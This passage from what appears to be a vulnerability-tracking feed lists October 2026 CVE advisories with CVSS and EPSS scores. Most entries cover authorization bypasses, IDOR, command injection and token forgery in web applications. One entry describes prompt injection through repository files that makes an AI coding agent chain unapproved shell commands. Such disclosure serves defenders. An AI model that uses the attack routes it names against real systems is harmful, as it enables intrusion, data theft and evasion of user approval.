FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109558&date=2026-10-25
EdgeEver 1.6.0 through 1.112.0 contains a stored cross-site scripting vulnerability in TemplatesPane.tsx that renders template contentMarkdown with raw HTML via dangerouslySetInnerHTML without sanitization. Attackers can write templates containing HTML event handlers through an API or MCP token to run script on preview and access the privileged window.edgeeverDesktop bridge.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Continue CLI (@continuedev/cli) through 1.5.47 contains a permission bypass vulnerability that allows attackers to run unapproved commands by chaining them after allowed Bash...
https://kevwire.com/record/CVE-2026-109560
Continue CLI (@continuedev/cli) through 1.5.47 contains a permission bypass vulnerability that allows attackers to run unapproved commands by chaining them after allowed Bash... (Oct 12, 2026).
Continue CLI (@continuedev/cli) through 1.5.47 contains a permission bypass vulnerability that allows attackers to run unapproved commands by chaining them after allowed Bash prefix rules. Attackers can inject instructions into repository files or fetched pages so the agent appends commands after ;, && or | to execute code as the user.
CVSS 7.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109560).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109560&date=2026-10-25).
Sources:
NVD CVE-2026-109560: https://nvd.nist.gov/vuln/detail/CVE-2026-109560
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109560&date=2026-10-25
Continue CLI (@continuedev/cli) through 1.5.47 contains a permission bypass vulnerability that allows attackers to run unapproved commands by chaining them after allowed Bash prefix rules. Attackers can inject instructions into repository files or fetched pages so the agent appends commands after ;, && or | to execute code as the user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Shaark 1.2.13 through 1.2.44 contains a missing authorization vulnerability in the Link, Story, Chest and Album API controllers that skips ownership checks.
https://kevwire.com/record/CVE-2026-109568
Shaark 1.2.13 through 1.2.44 contains a missing authorization vulnerability in the Link, Story, Chest and Album API controllers that skips ownership checks. (Oct 12, 2026).
Shaark 1.2.13 through 1.2.44 contains a missing authorization vulnerability in the Link, Story, Chest and Album API controllers that skips ownership checks. Authenticated non-admin users can send PUT or DELETE requests to /api/{link,story,chest,album}/{id} with numeric IDs to overwrite or delete other users' content, including private items.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109568).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109568&date=2026-10-25).
Sources:
NVD CVE-2026-109568: https://nvd.nist.gov/vuln/detail/CVE-2026-109568
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109568&date=2026-10-25
Shaark 1.2.13 through 1.2.44 contains a missing authorization vulnerability in the Link, Story, Chest and Album API controllers that skips ownership checks. Authenticated non-admin users can send PUT or DELETE requests to /api/{link,story,chest,album}/{id} with numeric IDs to overwrite or delete other users' content, including private items.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Serena before 2.0.0 contains an improper link resolution vulnerability that allows attackers to access files outside the project root by committing symlinks inside a repository.
https://kevwire.com/record/CVE-2026-109965
Serena before 2.0.0 contains an improper link resolution vulnerability that allows attackers to access files outside the project root by committing symlinks inside a repository. (Oct 13, 2026).
Serena before 2.0.0 contains an improper link resolution vulnerability that allows attackers to access files outside the project root by committing symlinks inside a repository. Project.is_path_in_project() normalizes paths lexically without resolving symlinks, so file tools like read_file and create_text_file can read or overwrite files such as SSH keys or cloud credentials.
CVSS 8.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109965).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109965&date=2026-10-25).
Sources:
NVD CVE-2026-109965: https://nvd.nist.gov/vuln/detail/CVE-2026-109965
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109965&date=2026-10-25
Serena before 2.0.0 contains an improper link resolution vulnerability that allows attackers to access files outside the project root by committing symlinks inside a repository. Project.is_path_in_project() normalizes paths lexically without resolving symlinks, so file tools like read_file and create_text_file can read or overwrite files such as SSH keys or cloud credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ikaros 1.2.0 through 1.2.5 contains an authentication bypass vulnerability that allows attackers with a valid password to skip TOTP verification by reusing the login temp token.
https://kevwire.com/record/CVE-2026-110097
Ikaros 1.2.0 through 1.2.5 contains an authentication bypass vulnerability that allows attackers with a valid password to skip TOTP verification by reusing the login temp token. (Oct 13, 2026).
Ikaros 1.2.0 through 1.2.5 contains an authentication bypass vulnerability that allows attackers with a valid password to skip TOTP verification by reusing the login temp token. Attackers can present the temp token from the jwt/apply endpoint as a bearer JWT, refresh it, or use HTTP Basic login to gain full account access, including the master administrator.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110097).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110097&date=2026-10-25).
Sources:
NVD CVE-2026-110097: https://nvd.nist.gov/vuln/detail/CVE-2026-110097
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110097&date=2026-10-25
Ikaros 1.2.0 through 1.2.5 contains an authentication bypass vulnerability that allows attackers with a valid password to skip TOTP verification by reusing the login temp token. Attackers can present the temp token from the jwt/apply endpoint as a bearer JWT, refresh it, or use HTTP Basic login to gain full account access, including the master administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Xxyopen novel through 3.5.0 contains a weak password hashing vulnerability that allows attackers to recover plaintext passwords because UserServiceImpl.register() stores unsalted...
https://kevwire.com/record/CVE-2026-110104
Xxyopen novel through 3.5.0 contains a weak password hashing vulnerability that allows attackers to recover plaintext passwords because UserServiceImpl.register() stores unsalted... (Oct 13, 2026).
Xxyopen novel through 3.5.0 contains a weak password hashing vulnerability that allows attackers to recover plaintext passwords because UserServiceImpl.register() stores unsalted MD5 digests in user_info.password. Attackers who obtain the password column through a database leak or backup exposure can crack hashes with precomputed tables or GPU brute force and reuse credentials.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110104).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110104&date=2026-10-25).
Sources:
NVD CVE-2026-110104: https://nvd.nist.gov/vuln/detail/CVE-2026-110104
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110104&date=2026-10-25
Xxyopen novel through 3.5.0 contains a weak password hashing vulnerability that allows attackers to recover plaintext passwords because UserServiceImpl.register() stores unsalted MD5 digests in user_info.password. Attackers who obtain the password column through a database leak or backup exposure can crack hashes with precomputed tables or GPU brute force and reuse credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JetLinks Community through 2.10.0 contains a missing authorization vulnerability that allows users with only query access on transparent-codec to overwrite product codecs via POST...
https://kevwire.com/record/CVE-2026-110109
JetLinks Community through 2.10.0 contains a missing authorization vulnerability that allows users with only query access on transparent-codec to overwrite product codecs via POST... (Oct 13, 2026).
JetLinks Community through 2.10.0 contains a missing authorization vulnerability that allows users with only query access on transparent-codec to overwrite product codecs via POST /device/transparent-codec/{productId}. Because the endpoint lacks @SaveAction, attackers can save arbitrary codec providers and configurations, controlling how transparent messages are decoded and encoded for every device of that product.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110109).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110109&date=2026-10-25).
Sources:
NVD CVE-2026-110109: https://nvd.nist.gov/vuln/detail/CVE-2026-110109
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110109&date=2026-10-25
JetLinks Community through 2.10.0 contains a missing authorization vulnerability that allows users with only query access on transparent-codec to overwrite product codecs via POST /device/transparent-codec/{productId}. Because the endpoint lacks @SaveAction, attackers can save arbitrary codec providers and configurations, controlling how transparent messages are decoded and encoded for every device of that product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Risesoft-y9 Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager storeFile endpoint that allows unauthenticated attackers to...
https://kevwire.com/record/CVE-2026-110116
Risesoft-y9 Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager storeFile endpoint that allows unauthenticated attackers to... (Oct 13, 2026).
Risesoft-y9 Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager storeFile endpoint that allows unauthenticated attackers to write arbitrary files. Attackers can send crafted fullPath and fileName parameters to POST /rest/storeFile to create or overwrite service-writable files, potentially achieving code execution.
CVSS 8.8 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110116).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110116&date=2026-10-25).
Sources:
NVD CVE-2026-110116: https://nvd.nist.gov/vuln/detail/CVE-2026-110116
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110116&date=2026-10-25
Risesoft-y9 Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager storeFile endpoint that allows unauthenticated attackers to write arbitrary files. Attackers can send crafted fullPath and fileName parameters to POST /rest/storeFile to create or overwrite service-writable files, potentially achieving code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SmartAdmin through 3.30.0 contains a missing authorization vulnerability in AdminProtectController that allows authenticated low-privileged employees to modify system-wide level-3...
https://kevwire.com/record/CVE-2026-110117
SmartAdmin through 3.30.0 contains a missing authorization vulnerability in AdminProtectController that allows authenticated low-privileged employees to modify system-wide level-3... (Oct 13, 2026).
SmartAdmin through 3.30.0 contains a missing authorization vulnerability in AdminProtectController that allows authenticated low-privileged employees to modify system-wide level-3 protection settings. Attackers can call the unannotated updateConfig and loginFail batchDelete endpoints to disable login lockout and two-factor login, weaken password rules, and clear lockout records.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110117).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110117&date=2026-10-25).
Sources:
NVD CVE-2026-110117: https://nvd.nist.gov/vuln/detail/CVE-2026-110117
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110117&date=2026-10-25
SmartAdmin through 3.30.0 contains a missing authorization vulnerability in AdminProtectController that allows authenticated low-privileged employees to modify system-wide level-3 protection settings. Attackers can call the unannotated updateConfig and loginFail batchDelete endpoints to disable login lockout and two-factor login, weaken password rules, and clear lockout records.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PickMall lilishop through 4.4 contains an insecure direct object reference vulnerability that allows authenticated sellers to overwrite any store's product by supplying another...
https://kevwire.com/record/CVE-2026-110121
PickMall lilishop through 4.4 contains an insecure direct object reference vulnerability that allows authenticated sellers to overwrite any store's product by supplying another... (Oct 13, 2026).
PickMall lilishop through 4.4 contains an insecure direct object reference vulnerability that allows authenticated sellers to overwrite any store's product by supplying another store's goodsId to the goods update endpoint. Attackers can send PUT requests to /store/goods/goods/update/{goodsId} to replace product details and SKUs and reassign products to their own store.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110121).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110121&date=2026-10-25).
Sources:
NVD CVE-2026-110121: https://nvd.nist.gov/vuln/detail/CVE-2026-110121
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110121&date=2026-10-25
PickMall lilishop through 4.4 contains an insecure direct object reference vulnerability that allows authenticated sellers to overwrite any store's product by supplying another store's goodsId to the goods update endpoint. Attackers can send PUT requests to /store/goods/goods/update/{goodsId} to replace product details and SKUs and reassign products to their own store.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FastBee through 2.1.0 contains an insecure direct object reference vulnerability in DeviceController that allows authenticated low-privilege users to read and modify other...
https://kevwire.com/record/CVE-2026-110124
FastBee through 2.1.0 contains an insecure direct object reference vulnerability in DeviceController that allows authenticated low-privilege users to read and modify other... (Oct 13, 2026).
FastBee through 2.1.0 contains an insecure direct object reference vulnerability in DeviceController that allows authenticated low-privilege users to read and modify other tenants' devices by supplying sequential device IDs. Self-registered attackers can enumerate deviceId or serialNumber values to read owner, IP, and location data, and overwrite user_id and tenant_id to take over devices.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110124).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110124&date=2026-10-25).
Sources:
NVD CVE-2026-110124: https://nvd.nist.gov/vuln/detail/CVE-2026-110124
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110124&date=2026-10-25
FastBee through 2.1.0 contains an insecure direct object reference vulnerability in DeviceController that allows authenticated low-privilege users to read and modify other tenants' devices by supplying sequential device IDs. Self-registered attackers can enumerate deviceId or serialNumber values to read owner, IP, and location data, and overwrite user_id and tenant_id to take over devices.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### fuintCatering through commit 122c9e6 contains an insecure direct object reference vulnerability in the ClientRefundController refund detail endpoint that lets authenticated...
https://kevwire.com/record/CVE-2026-110129
fuintCatering through commit 122c9e6 contains an insecure direct object reference vulnerability in the ClientRefundController refund detail endpoint that lets authenticated... (Oct 13, 2026).
fuintCatering through commit 122c9e6 contains an insecure direct object reference vulnerability in the ClientRefundController refund detail endpoint that lets authenticated members read other members' refund records. Attackers can register freely and enumerate sequential refundId values to obtain buyers' names, national ID numbers, addresses, WeChat openIds, and order details.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110129).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110129&date=2026-10-25).
Sources:
NVD CVE-2026-110129: https://nvd.nist.gov/vuln/detail/CVE-2026-110129
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110129&date=2026-10-25
fuintCatering through commit 122c9e6 contains an insecure direct object reference vulnerability in the ClientRefundController refund detail endpoint that lets authenticated members read other members' refund records. Attackers can register freely and enumerate sequential refundId values to obtain buyers' names, national ID numbers, addresses, WeChat openIds, and order details.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### BizSpring Shop through commit cf22d39daaf1 contains a payment verification bypass vulnerability that allows authenticated buyers to mark orders paid by calling the...
https://kevwire.com/record/CVE-2026-110607
BizSpring Shop through commit cf22d39daaf1 contains a payment verification bypass vulnerability that allows authenticated buyers to mark orders paid by calling the... (Oct 14, 2026).
BizSpring Shop through commit cf22d39daaf1 contains a payment verification bypass vulnerability that allows authenticated buyers to mark orders paid by calling the PaymentController.testPostPay handler. Attackers can generate a payment log via /member/payment/load and request /member/payment/test_post_pay_{paymentLogSn} to obtain goods without paying or settle other members' orders.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110607).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110607&date=2026-10-25).
Sources:
NVD CVE-2026-110607: https://nvd.nist.gov/vuln/detail/CVE-2026-110607
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110607&date=2026-10-25
BizSpring Shop through commit cf22d39daaf1 contains a payment verification bypass vulnerability that allows authenticated buyers to mark orders paid by calling the PaymentController.testPostPay handler. Attackers can generate a payment log via /member/payment/load and request /member/payment/test_post_pay_{paymentLogSn} to obtain goods without paying or settle other members' orders.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vlife through 2.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge JWTs using the hardcoded HS256 signing key in TokenUtil.
https://kevwire.com/record/CVE-2026-110612
vlife through 2.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge JWTs using the hardcoded HS256 signing key in TokenUtil. (Oct 14, 2026).
vlife through 2.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge JWTs using the hardcoded HS256 signing key in TokenUtil. Attackers can sign a token with superUser=true and arbitrary groupIds claims to gain super administrator access to any URL on vlife instances.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110612).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110612&date=2026-10-25).
Sources:
NVD CVE-2026-110612: https://nvd.nist.gov/vuln/detail/CVE-2026-110612
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110612&date=2026-10-25
vlife through 2.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge JWTs using the hardcoded HS256 signing key in TokenUtil. Attackers can sign a token with superUser=true and arbitrary groupIds claims to gain super administrator access to any URL on vlife instances.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### VentureDrake Laravel CRM before 2.4.0 contains a missing authorization vulnerability that allows authenticated users to bypass Spatie role permissions through Livewire action...
https://kevwire.com/record/CVE-2026-110629
VentureDrake Laravel CRM before 2.4.0 contains a missing authorization vulnerability that allows authenticated users to bypass Spatie role permissions through Livewire action... (Oct 14, 2026).
VentureDrake Laravel CRM before 2.4.0 contains a missing authorization vulnerability that allows authenticated users to bypass Spatie role permissions through Livewire action methods. Read-only users can invoke delete, won, lost or reopen methods on components like DealIndex, or use unguarded Activities and Products routes, to modify deals, quotes, orders and invoices.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110629).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110629&date=2026-10-25).
Sources:
NVD CVE-2026-110629: https://nvd.nist.gov/vuln/detail/CVE-2026-110629
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110629&date=2026-10-25
VentureDrake Laravel CRM before 2.4.0 contains a missing authorization vulnerability that allows authenticated users to bypass Spatie role permissions through Livewire action methods. Read-only users can invoke delete, won, lost or reopen methods on components like DealIndex, or use unguarded Activities and Products routes, to modify deals, quotes, orders and invoices.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MyReport Updater through 2.1.1 contains a local privilege escalation vulnerability that allows low-privileged users to make the SYSTEM updater service install attacker-supplied...
https://kevwire.com/record/CVE-2026-110633
MyReport Updater through 2.1.1 contains a local privilege escalation vulnerability that allows low-privileged users to make the SYSTEM updater service install attacker-supplied... (Oct 14, 2026).
MyReport Updater through 2.1.1 contains a local privilege escalation vulnerability that allows low-privileged users to make the SYSTEM updater service install attacker-supplied archives into arbitrary directories. Attackers can use UpdaterManager.exe over gRPC to set a malicious reference server and installLocation, planting a DLL like HID.dll loaded by osk.exe to gain SYSTEM privileges.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110633).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110633&date=2026-10-25).
Sources:
NVD CVE-2026-110633: https://nvd.nist.gov/vuln/detail/CVE-2026-110633
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110633&date=2026-10-25
MyReport Updater through 2.1.1 contains a local privilege escalation vulnerability that allows low-privileged users to make the SYSTEM updater service install attacker-supplied archives into arbitrary directories. Attackers can use UpdaterManager.exe over gRPC to set a malicious reference server and installLocation, planting a DLL like HID.dll loaded by osk.exe to gain SYSTEM privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### git-diff before 2.0.7 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted strings to the gitDiff API.
https://kevwire.com/record/CVE-2026-110634
git-diff before 2.0.7 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted strings to the gitDiff API. (Oct 14, 2026).
git-diff before 2.0.7 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted strings to the gitDiff API. Attackers who control a diffed document string can embed $(cmd) or backtick substitutions that shelljs.exec evaluates, running commands with Node.js process privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110634).
EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110634&date=2026-10-25).
Sources:
NVD CVE-2026-110634: https://nvd.nist.gov/vuln/detail/CVE-2026-110634
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110634&date=2026-10-25
git-diff before 2.0.7 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted strings to the gitDiff API. Attackers who control a diffed document string can embed $(cmd) or backtick substitutions that shelljs.exec evaluates, running commands with Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @mborne/extract before 0.2.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying shell metacharacters in archivePath or targetDir...
https://kevwire.com/record/CVE-2026-110639
@mborne/extract before 0.2.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying shell metacharacters in archivePath or targetDir... (Oct 14, 2026).
@mborne/extract before 0.2.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying shell metacharacters in archivePath or targetDir options. Attackers controlling these values passed to extract() can inject commands into unquoted shelljs exec() strings in the unzip, 7z, tar-bz2 and gz extractors, running them with Node.js process privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110639).
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110639&date=2026-10-25).
Sources:
NVD CVE-2026-110639: https://nvd.nist.gov/vuln/detail/CVE-2026-110639
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110639&date=2026-10-25
@mborne/extract before 0.2.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying shell metacharacters in archivePath or targetDir options. Attackers controlling these values passed to extract() can inject commands into unquoted shelljs exec() strings in the unzip, 7z, tar-bz2 and gz extractors, running them with Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### nodejs-whisper through 0.3.1 contains an OS command injection vulnerability in convertToWavType() that allows attackers to execute commands by supplying crafted audio file paths.
https://kevwire.com/record/CVE-2026-110644
nodejs-whisper through 0.3.1 contains an OS command injection vulnerability in convertToWavType() that allows attackers to execute commands by supplying crafted audio file paths. (Oct 14, 2026).
nodejs-whisper through 0.3.1 contains an OS command injection vulnerability in convertToWavType() that allows attackers to execute commands by supplying crafted audio file paths. Attackers can provide file names containing $() command substitution or closing quotes, which are interpolated into an ffmpeg command run via shelljs exec(), executing OS commands with Node.js process privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110644).
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110644&date=2026-10-25).
Sources:
NVD CVE-2026-110644: https://nvd.nist.gov/vuln/detail/CVE-2026-110644
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110644&date=2026-10-25
